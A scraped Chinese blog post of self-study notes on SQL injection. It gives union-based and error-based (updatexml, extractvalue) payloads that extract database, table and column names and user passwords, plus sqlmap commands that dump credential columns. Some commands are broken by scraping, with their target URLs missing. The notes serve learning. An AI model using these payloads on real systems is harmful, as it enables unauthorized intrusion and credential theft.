自學sql注入(二)

2021-10-08 02:11:48 字數 2620 閱讀 8078

這是筆者自行整理出來的有關sql注入的一些知識點,自己還有些迷迷糊糊,可能有些不對的地方。等學完之後,再來詳寫一系列的關於sql注入的文章

自學sql注入(一)

自學sql注入(三)

sqlmap基礎使用

1、首先利用資料庫自帶的表示式獲取資料庫名

id=-1

union

select1,

2,database

()

2、再利用表示式爆出表名:

id=-1

union

select1,

(select table_name from information_schema.

tables

where table_schema=

'testa'

limit0,

1),database

()

3、再利用表示式爆出列名:

id=-1

union

select1,

(select column_name from information_schema.

columns

where table_schema=

'testa'

and table_name=

'tabb'

limit0,

1),database

()

4、知道表名列名後,就可直接通過資料庫查詢語句獲得想要的資訊:

id=-1

union

select1,

(select username from users where id=5)

,(select password from users where id=

5)

直接列出當前所有的表名:

id=

-1' union

select1,

(select group_concat(table_name)

from information_schema.

tables

where table_schema=

database()

),3#

列出所有列名

id=-1

' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3

#

$id :數字型注入:

id=1 union select 1,2,3
『$id』:字元型注入:

id=1' union select 1,2,3#   //  #和-- 都是遮蔽符,在url編碼中#為%23,-- (此處有個空格)為--+
字元型除了單引號』之外,還有",』)等等方式

『%$id%』

搜尋型注入:

id=1%' union select 1,2,3#
python2.7

python2 sqlmap.py -u 「 (-u主要用於get請求,雙引號內是存在注入點的url鏈結)

跑出當前的庫名(庫名是testa)

python2 sqlmap.py -u 「 --current-db

跑出當前庫的所有表名(表名是tabb)

python2 sqlmap.py -u 「 -d 「testa」 --tables

跑出當前表的列名(列名有id,username,password)

python2 sqlmap.py -u 「 -d 「testa」 -t 「tabb」 --columns

跑出當前表列名對應的值

python2 sqlmap.py -u 「 -d 「testa」 -t 「tabb」 -c 「id,username,password」 --dump

在使用者sqlmap資料夾內也能看到輸出的值

以下3個函式能引起資料庫的報錯,我們可以構造語句使關鍵資訊出現在報錯的內容中

updatexml()
extractvalue()
floor()
updatexml(1,2,3),是從乙個xml文件裡面尋找值並替換,1是尋找的目標,2是文件中的路徑,3是用來替換的值。

報錯原理是如果不存在文件的路徑,那麼就會把路徑的資訊顯示到報錯文字中

payload:updatexml(1,concat(0x7e,database(),0x7e),1)
0x7e是~的16進製制,這樣做一是為了方便看,二是防止報錯內容吞掉部分路徑資訊,保持資訊輸出的完整性

extractvalue(1,2)跟updatexml的用法相似,唯一的區別就是沒有替換功能,其他都一樣的。

extractvalue(1,concat(0x7e,database(),0x7e))

自學sql注入(三)

這是筆者自行整理出來的有關sql注入的一些知識點,自己還有些迷迷糊糊,可能有些不對的地方。等學完之後,再來詳寫一系列的關於sql注入的文章 自學sql注入 一 自學sql注入 二 1 and select 1 from select count concat database floor rand ...

SQL注入(二)

sql注入 一 的內容說說防範 sql第5點 5.限制輸入長度 如果在web 頁面上使用文字框收集使用者輸入的資料 使用文字框的 maxlength 屬性來限制使用者輸入過長的字元也是乙個很好的方法 因為使用者的輸入不夠長 也就減少了貼入大量指令碼的可能性。程式設計師可以針對需要收集的資料型別作出乙...

SQL注入技術 二 注入分類

用到 開啟burp suite 有注入點就帶入注入漏洞進行操作 mysql select username,email from member where id 1 or 1 1 正常sql語句 正常情況下在資料庫中搜尋是這樣的語句 mysql select id,email from member...